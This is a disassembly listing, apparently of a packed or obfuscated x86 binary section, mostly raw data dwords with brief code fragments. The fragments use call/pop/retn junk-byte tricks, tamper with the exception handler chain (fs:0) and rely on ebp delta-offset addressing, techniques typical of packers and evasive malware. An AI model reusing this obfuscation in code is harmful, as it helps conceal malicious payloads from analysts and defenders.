		dd 0EDB58907h, 8907E91Eh, 0C486h, 0DB816600h, 958B3656h
		dd 7E9320Dh, 810Fh, 0C2830000h,	0DE8B6604h, 89205089h
		dd 0E91C7595h, 0A1858D07h, 0E807ECECh, 0Fh, 0D9587B65h
		dd 1D24734Eh, 0DCCB2C9h, 0E9910F1Bh, 12h, 362178F7h, 311FD1CCh
		dd 0B85AABCAh, 6EBC4C05h
		dd 895FB244h, 0B886h, 0B98D2900h, 6A07E930h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 8D055BBCh, 0A752DCEBh, 13E95BE4h, 75000000h,	7426501Dh
		dd 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 0B5FFC61Bh, 7ECD785h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 56C35141h
		dd 0C7691FB9h, 95FF9656h, 7E902CDh, 236FBB66h, 42CB8166h
		dd 0BB669635h, 8B502E2Ah, 0BD8B96D8h, 7E90F19h,	0D785B5FFh
		dd 870F07ECh, 12h, 6E8h, 0A38BF400h, 8B5117C6h,	0E90F319Dh
		dd 95FF5F07h, 7E9302Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 91C35141h, 7B8CF9FAh,	0B9608441h, 480E633Eh
		dd 17398D89h, 836107E9h, 0E91EC9BDh, 840F0007h,	4Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 32C35747h, 7E95750h
		dd 1B000000h, 4819370Ah, 895F63D1h, 6A2434h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4ED442C3h
		dd 85B5FFC0h, 6A07ECD7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6C4BC353h, 57EB9E7Eh
		dd 0AD161544h, 0AE952h,	51EE0000h, 0F2645A7Fh, 0CEEDE3E1h
		dd 0DABF0F5Bh, 0FE9h, 61EF3100h, 233B364h, 78FA5663h, 0E29D3CCAh
		dd 1F9D95FFh, 8E0F07E9h, 5, 94667ABFh, 85B5FF72h, 6A07ECD7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0BCE4C353h, 95896046h, 7E930F9h, 9098D8Bh
		dd 8B6107E9h, 3995FFD8h, 6607E901h, 8329C3BBh, 0E929CDBDh
		dd 840F0207h, 57h, 2FDD9D89h, 858B07E9h, 7E90875h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 3CC35545h, 0B3D85C43h
		dd 0C4AED767h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0B78FC351h,	0C98D8963h
		dd 0C707E92Fh, 0E924AD85h, 7, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E91A6DCEh
		dd 0FFFFF1F4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	71C35242h, 5386AF4Fh, 8BFC5AF0h, 51BD89C1h, 8D07E92Bh
		dd 0E9086185h, 5E9F807h, 12000000h, 658070DBh, 0E8606090h
		dd 0Dh,	0C1B9D08Dh, 71F070EBh, 3C9D7EDDh, 8B665F1Eh, 23B961C1h
		dd 6101A50Ch, 6A9050h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0B0B313C3h, 5E8FA53h, 1A000000h
		dd 0E360EA78h, 58B0Fh, 81660000h, 5FCF7ED7h, 8D01006Ah
		dd 7E90189h, 0FA8B006Ah, 0F79858Dh, 8D3107EEh, 7E9212Dh
		dd 2905C083h, 0E9266585h, 0D1958907h, 5007E929h, 66525060h
		dd 0F6E9ABFh, 5AD08B31h, 4896158h, 0C434BF24h, 6A3DFBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BDC35242h
		dd 4EEF18B2h, 0F07499A9h, 9BC38035h, 11E8006Ah,	70000000h
		dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h, 1C298589h
		dd 0BB5B07E9h, 751E8D7Bh, 0FB995FFh, 8D8D07E9h,	7ECD72Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8DC35343h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 168FDC3h,	86A21A52h, 1CC4BF66h, 1B69BD83h
		dd 0F0107E9h, 5A85h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD238671h, 7E91739h
		dd 19CDBD23h, 26A07E9h,	21C9BD23h, 895007E9h, 0E0BF2404h
		dd 0E9419B78h, 0Fh, 0AD8DDFF7h,	0B35BE270h, 0CC813898h
		dd 0FF41320Ah, 0E902CD95h, 19B52907h, 0E907E919h, 0D63h
		dd 0E8h, 0ED815D00h, 7EE0F83h, 0B589FB8Bh, 7E93591h, 0B406858Dh
		dd 6A07ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 4B61ACC3h, 0CB8B6096h, 6131C580h,	14FDBD8Bh
		dd 0B58907E9h, 7E92605h, 1DB1BB50h, 489546Bh, 9DB58924h
		dd 2907E925h, 0E92A1D85h, 35FF6407h, 0
; ---------------------------------------------------------------------------
		sub	ebx, 44F1D111h
		mov	large fs:0, esp
		push	0
		push	esi
		call	sub_5D4DB8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4DB8	proc near		; CODE XREF: sdfs____:005D4DB0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5D4DB8	endp

; ---------------------------------------------------------------------------
		inc	ecx
		inc	dword ptr [ebp+7E90F9Dh]
		jmp	loc_5D4DE3
; ---------------------------------------------------------------------------
		dd 9E457A1Ah, 227B1760h, 0E4376F0Eh
; ---------------------------------------------------------------------------
		jmp	short loc_5D4DF7
; ---------------------------------------------------------------------------
		db 33h
; ---------------------------------------------------------------------------


loc_5D4DE3:				; CODE XREF: sdfs____:005D4DCFj
					; sdfs____:005D5A50j
		push	0FFFFFFFFh
		sub	[ebp+7E91661h],	ecx
		push	dword ptr [ebp+7E93151h]
		mov	[ebp+7E90935h],	edi


loc_5D4DF7:				; CODE XREF: sdfs____:005D4DE0j
		call	dword ptr [ebp+7E9233Dh]
		jmp	loc_5D4F13
; ---------------------------------------------------------------------------
		dw 0BD8Bh
		dd 7E92129h, 0FA8B00B0h, 0E4F970E6h, 0FA8B6671h, 830F613Ch
		dd 0F7h, 2F89BD8Bh, 0B60F07E9h,	8E0FC8h, 0BA000000h, 6
		dd 26559529h, 0C18B07E9h, 1DA59D8Bh, 0E8C107E9h, 0BBBB6604h
		dd 0E2F7665Fh, 0BE0525BFh, 29C82B23h, 0E916FDBDh, 8BD18B07h
		dd 0E90991BDh, 0B1E907h, 0B5890000h, 7E92DD5h, 4858Bh
		dd 8B660000h, 7C083F8h,	0C083DE8Bh, 0FA8B6600h,	830FD03Bh
		dd 30h,	0CBD9D89h, 0BF0F07E9h, 81E9D9h,	820F0000h, 1Ch
		dd 3C28160h, 0E814C3C4h, 0Eh, 3DEBECFCh, 0BE217022h, 0C3E95150h
		dd 615B26E8h, 0FFFF8D8Bh, 12E9FFFFh, 0E1000000h, 474F19C4h
		dd 3715C77Eh, 4C015A8Ah, 8FA9DC78h, 8383B7ECh, 840F01E1h
		dd 37h,	8918DF80h, 0E9151595h, 0FFA58307h, 0FEFFFFFFh
		dd 6810Fh, 0DF810000h, 0AE6AAE8h, 5BCB8166h, 49589A1h
		dd 60000000h, 3181B589h, 0B70F07E9h, 0E961D8h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5D4F13:				; CODE XREF: sdfs____:005D4DFDj
		lea	esi, [ebp+7ED8C1Ch]
		push	0
		push	edi
		call	sub_5D4F24
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4F24	proc near		; CODE XREF: sdfs____:005D4F1Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5D4F24	endp

; ---------------------------------------------------------------------------
		dd 0E2B44B2Fh, 48518137h, 6E90B19h, 2A000000h, 5E555DA9h
		dd 0BD953199h, 6A07E900h, 0E99D8B00h, 0FF07E929h, 0E90C3195h
		dd 56CF8107h, 0B90EF49Eh, 0F6Eh, 13E9h,	0D36FAA00h, 5214C158h
		dd 72D56E0Fh, 0E97480D9h, 0D37024A8h, 66FCE183h, 1FF3D781h
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 893AB33Dh, 0E926AD8Dh, 0FC02B07h, 687h
		dd 4DBD2300h, 0F07E92Eh, 282h, 2BD98B00h, 52006AD2h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 33ADFC71h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0E5F2A0C3h
		dd 12E9h, 0BD6AEC00h, 7793D43Dh, 55B70F91h, 1B3A2940h
		dd 6A270982h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0A47BC356h, 0BD8BAE54h, 7E92095h
		dd 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0D0ABD8E4h, 8BB3F897h, 0E909E19Dh
		dd 0D958B07h, 0F07E932h, 8D8BF8BFh, 7E922E5h, 10E956h
		dd 0B3E0000h, 0ECF8CA4Ch, 8E2C23C7h, 645665C7h,	8B5BC42Eh
		dd 0C28B50F8h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6658188Bh
		dd 6E8DE8Bh, 0F4000000h, 0DC61B76Bh, 49BB66E0h,	8D0F5BE5h
		dd 3, 83F88B66h, 0E91C2DBDh, 840F0007h,	90h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B2C35747h, 10BB66EEh
		dd 0B8EAh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0AA0DF5C3h, 49F55B4Ch, 8D12CE89h
		dd 0E94D5A8Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 8B604221h, 0E9F9810Fh
		dd 12h,	9A42E3C0h, 69AA961h, 66B2AB22h,	95F45BADh, 0E1FF5617h
		dd 0E6CEBF66h, 22B1BD83h, 0F0007E9h, 46F84h, 7DBD3300h
		dd 8107E922h, 0B1051ADBh, 0B1BD836Eh, 107E922h,	471840Fh
		dd 51600000h, 73E98166h, 0B58958E6h, 7E913CDh, 0B1BD8361h
		dd 307E922h, 41F860Fh, 0B5890000h, 7E92DBDh, 31BB6660h
		dd 6A606197h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 96B5C350h, 0A82E8053h,	0FEB70FF3h
		dd 57D98C66h, 0DE9h, 0C2A27E00h, 0D17EC9F1h, 46A8EB59h
		dd 665F6CEFh, 8051E1BBh, 6A04E1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 5C2231C3h, 0CE849h, 0EA710000h
		dd 2D86E19Fh, 0CAA5F809h, 0BD8BB347h, 7E91EA9h,	718D895Fh
		dd 0A07E920h, 40840FC9h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 417AC352h
		dd 0B1465295h, 81911DBCh, 0BEDB18F7h, 71BD8B42h, 8B07E911h
		dd 0E90C5585h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0B509CF1Fh, 7E91509h
		dd 1CE98533h, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0E87A7FC3h, 16164C77h, 818AD068h
		dd 20628BEBh, 66525057h, 895FFE8Bh, 89F92404h, 0E908C98Dh
		dd 6A006A07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 188CC353h, 503E68B9h, 0E9520065h
		dd 0Ch,	0F0622C37h, 0C7FF9D13h,	0FFA5479Ch, 2434815Bh
		dd 7A53C1h, 95FF32B7h, 7E902D9h, 17D9589h, 858907E9h, 7ECD785h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5C35747h
		dd 0FE51BFFFh, 66E6E17Fh, 0F2F0BBFh, 0F5E9DEB7h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 1E9CC352h, 3812D7EBh, 8B6846DBh, 0ECD77D85h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 25FFCB59h, 1595BD8Bh, 12E907E9h,	0D5000000h
		dd 0BD1B2B0Fh, 597F66A4h, 0EC11C499h, 0FE7193AEh, 1800C79Fh
		dd 0E8000000h, 14h, 54B2A13Ah, 0D82538ACh, 58119882h, 0D2773E1Fh
		dd 0F97399AEh, 2311BD89h, 8B5F07E9h, 0ECD781B5h, 89858907h
		dd 8B07E90Fh, 0E9185985h, 0E9858907h, 8907E90Bh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0DE044324h, 0C55858Bh, 9D2B07E9h, 7E91A79h, 6A044689h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0D2AEC350h, 0B5030ABFh, 0B8BF95F9h, 9623E794h
		dd 0F508CB3h, 280h, 96FE8B00h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 86C35343h, 4CDFF07Eh, 0E9B87E7Eh
		dd 0FFF88B66h, 0ECD77DB5h, 798D8907h, 0E807E923h, 4, 1F03FFh
		dd 9E8h, 640E6900h, 7D18D026h, 0BB666E7Ah, 505F9A32h, 0BF665250h
		dd 310FA4BEh, 3022BF66h, 448B585Ah, 8B660424h, 8B008BFEh
		dd 244489F9h, 0CE804h, 91780000h, 6C63606Ah, 64D570B6h
		dd 13E916A7h, 77000000h, 0A13EC1A2h, 604A628Eh,	0D3208B03h
		dd 3BE387BBh, 585B4846h, 1FC5B589h, 858D07E9h, 7ECD785h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 41C35242h
		dd 2982FB59h, 0FE9BA14h, 9000000h, 19DAAD3Fh, 86C28915h
		dd 0B70147C8h, 0B3904227h, 0F9905005h, 2D995FFh, 0BD3307E9h
		dd 7E92B51h, 13E95761h,	0C000000h, 0DE3E54F4h, 0D62D55C2h
		dd 0EDC163A3h, 37113154h, 0C75F1866h, 0E922B185h, 307h
		dd 14BF6600h, 85BD8300h, 7ECD7h, 43840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 34B9BDC3h, 9036DDB9h, 11E8h,	31586300h, 0CB702CADh
		dd 99BC4D64h, 8F862381h, 5B53D983h, 1EE95Bh, 8B660000h
		dd 0C3050DEh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 66DF8166h, 52006A0Eh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 4D8B8EC8h
		dd 6DD12A89h, 33600D73h, 0E9158D95h, 0BD836107h, 7E922B1h
		dd 0F5850F03h, 0F000003h, 0D89h, 81666000h, 0FA26CE8h
		dd 85h,	0BD836100h, 7ECD785h, 0D5840F00h, 0BB000003h, 62916AAh
		dd 0D785B5FFh, 6A07ECh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 791D54C3h, 335805BCh, 8140E111h
		dd 5E5137C7h, 4995FF34h, 5607E913h, 70D36DBBh, 0B58B5F6Ah
		dd 7ECD779h, 6C7D88Bh, 10001h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 7CC35646h, 66EE229Bh, 50A61CBBh
		dd 0BB665250h, 310F806Eh, 3489585Ah, 0DE8B6624h, 0D785B5FFh
		dd 6A07ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 61B3D2C3h, 0FADBD8Bh, 0FE8B07E9h,	1AB195FFh
		dd 6A07E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 104C39C3h, 260B08F4h, 354DBD29h, 0B58B07E9h,	7ECD779h
		dd 858BB7B3h, 7E92449h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 17C35747h, 7B47429Eh,	0C48689F2h, 89000000h
		dd 0E907A9B5h, 0D958B07h, 2907E932h, 0E92AF185h, 4C28307h
		dd 0D5C78166h, 205089E9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 56C35040h, 668E7D84h,	858DF5B1h, 7ECECA1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9FC35242h
		dd 89EF0432h, 0B886h, 0AD8D8900h, 6A07E918h, 1929BF00h
		dd 8B6663A3h, 85B5FFF9h, 3107ECD7h, 0E90B15B5h,	0CD95FF07h
		dd 6A07E902h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0E3CEC350h, 0FD5A3B0h,	687h, 35958900h
		dd 0E907E935h, 0Eh, 0A6275BB6h,	0E3F8E7D7h, 1ACD6BBAh
		dd 8B5006F3h, 243489FBh, 0FFD88B66h, 0ECD785B5h, 0FFFE8B07h
		dd 0E9302D95h, 0C0BB6607h, 0C9BD83D4h, 7E91Eh, 89840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0BD85B8C3h, 0C4F07D7Eh, 0EB81C6B7h, 0B74F0F7h
		dd 34499D89h, 0E99607E9h, 0Bh, 0DB42AA63h, 60289700h, 50034531h
		dd 0F157BF57h, 965B0711h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 27C35646h, 6C14CB40h,	2800F91h, 8B000000h
		dd 0AE8DAh, 0C57E0000h,	4CD7550Ch, 28CEBFF6h, 2C759D8Bh
		dd 0FF5B07E9h, 0ECD785B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 95FFA9C4h
		dd 7E91F9Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	19C35646h, 89E6C86Fh, 0B5FF73FDh, 7ECD785h, 13E9h
		dd 14A9D300h, 0A0FE583Ah, 91040CDEh, 0FF107D5Eh, 0CD36B090h
		dd 0BF18589h, 95FF07E9h, 7E90139h, 15890Fh, 10E90000h
		dd 24000000h, 12CFA0D5h, 0B2206400h, 81E6505Dh,	8387ED72h
		dd 0E929CDBDh, 840F0207h, 62h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 54C35242h, 0BE9h, 79262F00h
		dd 0E72A8FB7h, 4F0CD715h, 875858Bh, 6A07E9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 76BBB4C3h
		dd 6A45D1Eh, 1D65BD8Bh,	0C607E9h, 0D4FEBB00h, 85C7716Eh
		dd 7E924ADh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5D5A1F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5A1F	proc near		; CODE XREF: sdfs____:005D5A17p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D5A1F	endp

; ---------------------------------------------------------------------------
		cmp	al, 8Bh
		mov	ebp, 7E90CE5h
		jmp	loc_5D5A4D
; ---------------------------------------------------------------------------
		db 1Eh
		dd 0D3014B8Ah, 6D98EE8Ah, 243DCD34h, 82D050B7h
		db 0E0h
; ---------------------------------------------------------------------------


loc_5D5A4D:				; CODE XREF: sdfs____:005D5A36j
		mov	di, bx
		jmp	loc_5D4DE3
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5D5A60
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5A60	proc near		; CODE XREF: sdfs____:005D5A58p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5D5A60	endp

; ---------------------------------------------------------------------------
		dd 2FA86AE9h, 8B931748h, 0E902619Dh, 6AC18B07h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8D99C352h, 0E9086185h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0AA77865Bh
		dd 0EFC1558Eh, 0E6D2BF66h, 0C0BF6690h, 0BB6650C8h, 6A906DF9h
		dd 4BBB6600h, 6A006A2Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0A2EAC355h,	0C6C8CF36h
		dd 59BD8BBEh, 8D07E91Dh, 0EE1F3785h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 148EBBECh
		dd 0F54A361h, 0C81h, 6860F00h, 29000000h, 0E9003595h, 5C08307h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2BC35343h
		dd 641B84A4h, 0BF0F5A9Dh, 318D89F9h, 9007E913h,	9050D98Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CEC35646h
		dd 68400E4Dh, 0F30216Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 6A3BC3h, 0CE9h, 89632B00h
		dd 0CA067250h, 4EBD957Ah, 0B995FFCFh, 6A07E90Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 773FC357h, 63F9BB9Dh, 2A719D89h, 9D8B07E9h, 7E90261h
		dd 0D72C8D8Dh, 6A07ECh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 50935FC3h, 77204F1Ch, 0F9E24A94h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 893C76C3h, 33F1AC7Bh, 0F5C5ED78h,	1B69BD83h
		dd 0F0107E9h, 9885h, 0B5295200h, 7E92AE5h, 6A026A5Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89CFC350h, 0E90F558Dh, 0F509007h, 0A83h, 0F38B6000h
		dd 850Fh, 90610000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 43C35343h, 0D949A581h, 0CF9004ADh, 81665602h
		dd 5F4169CBh, 2CD95FFh,	6A07E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 34C1F8C3h, 81D1B081h
		dd 1F0002C3h, 0EE6E916h, 0E80000h, 5D000000h, 1F41ED81h
		dd 6A07EEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 86B0C0C3h, 0D7B2A24Eh, 7E9h, 0C0742900h
		dd 69B8FE20h, 0B406858Dh, 6A07ECh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 8DE00BC3h, 0E9339018h
		dd 90F88B66h, 39CB49BFh, 20BF506Bh, 907866F6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 91C35747h, 6850F60h
		dd 81000000h, 0D4FBABF1h, 7F3EBE3Ch, 64612D71h,	35FFh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 24544AC3h, 5F52816Ch, 258964h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0D419C350h, 51CB2B9Fh, 8589CA52h,	7E92C8Dh
		dd 0F9D85FFh, 0B58907E9h, 7E923D9h, 6AFF6Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 679FC0C3h
		dd 90E63183h, 0D98B6671h, 0F11B5FFh, 6A07E9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2B047EC3h
		dd 0DE8BABEh, 0E8000000h, 93537775h, 1388F3C4h,	0E5AA5C95h
		dd 263EF381h, 895F6F10h, 0E9099D8Dh, 3D95FF07h,	0E907E923h
		dd 14Bh, 8C99589h, 858907E9h, 7E90909h,	9D0900B0h, 7E90FA1h
		dd 816670E6h, 0E417FADBh, 6E971h, 0C3620000h, 8908325Bh
		dd 68D0Fh, 0BD230000h, 7E91AE9h, 830F613Ch, 10Fh, 8C98589h
		dd 6E807E9h, 0DF000000h, 796EEBA7h, 299D8B2Fh, 5F07E935h
		dd 0BFC8B60Fh, 1629AD29h, 6BAh,	0F88B6600h, 9589C18Bh
		dd 7E930B9h, 8004E8C1h,	0F76666EBh, 2BFE8AE2h, 800F56C8h
		dd 6, 195DBD23h, 8B5F07E9h, 3DBD2BD1h, 0E907E912h, 0B7h
		dd 0D8F38160h, 662598F3h, 8B61FE8Bh, 4C4C4485h,	8DB5295Fh
		dd 8307E91Fh, 8B6007C0h, 0E925A58Dh, 4DB96607h,	0BB66619Ch
		dd 0C0837E70h, 0FC606000h, 810Fh, 0B2610000h, 850F6196h
		dd 6, 3039BD8Bh, 0D03B07E9h, 0E830Fh, 85890000h, 7E91CEDh
		dd 5EE9h, 0FEB70F00h, 0FFFF8D8Bh, 13E8FFFFh, 0E4000000h
		dd 53170830h, 4365A233h, 0ECE49AD7h, 0DD7C1913h, 0BD093F1Bh
		dd 7E914FDh, 1E1835Bh, 2D840Fh,	0CE90000h, 54000000h, 59DEF793h
		dd 0BC6D50AAh, 8385E439h, 0FFFFFFA5h, 9589FEFFh, 7E91391h
		dd 4C449589h, 0BF665F4Ch, 0E9C37Dh, 8D000000h, 0ED9B8AB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0CDF5F7B0h, 0D10757F4h, 45BB3C80h, 6A4F2CA1h
		dd 13E900h, 983F0000h, 1784A024h, 396437EFh, 2AB12CFCh
		dd 5E555DA9h, 0FFBF6699h, 3195FFCDh, 6A07E90Ch,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 4265C356h, 2E42EFFCh, 96952D5Ah, 4DB1DB81h, 0D4B959A7h
		dd 0F000010h, 38Eh, 0F9BF0F00h,	33FCE183h, 0E902E19Dh
		dd 0BB66FC07h, 0B80836h, 0E8000000h, 9,	9E241E3Fh, 35C364B1h
		dd 68F0F77h, 81000000h,	57A717EBh, 0BA5B19h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 6B2C356h,	75F0340Ah, 0E66725BBh, 5B58908h
		dd 0AD07E931h, 0E8D1C233h, 0E983D003h, 89F47504h, 0E91A0985h
		dd 174BBF07h, 880D048Fh, 0F000000h, 489h, 88BF6600h, 0D958BB4h
		dd 6A07E932h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E944C353h, 10h, 0E0707B7Dh, 0C04B6BB8h
		dd 0B1B52BD1h, 0DF749EF1h, 22E58D8Bh, 6A07E9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0FFC980C3h, 64E25B53h, 8B5009B3h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	7E8h, 6EC000h, 94CA40A0h, 1611B589h
		dd 0E95F07E9h, 0Ah, 87F732D8h, 1D4981FFh, 0BD835CDCh, 7E91C2Dh
		dd 97840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 8C70C352h, 8D891CA0h
		dd 7E902C5h, 5E8h, 0EB400700h, 9D897301h, 7E92FC5h, 0B85Bh
		dd 1570000h, 0E918499Dh, 8D8D5F07h, 7E94D5Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BCC35242h, 422C9ADh
		dd 0FECA225Fh, 0FB8B6622h, 6AE1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6063B4C3h
		dd 0F0DF04A2h, 0BD83B576h, 7E922B1h, 0D9840F00h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 364AC357h, 202EC8A7h, 8B463F1Ch, 0E912E99Dh
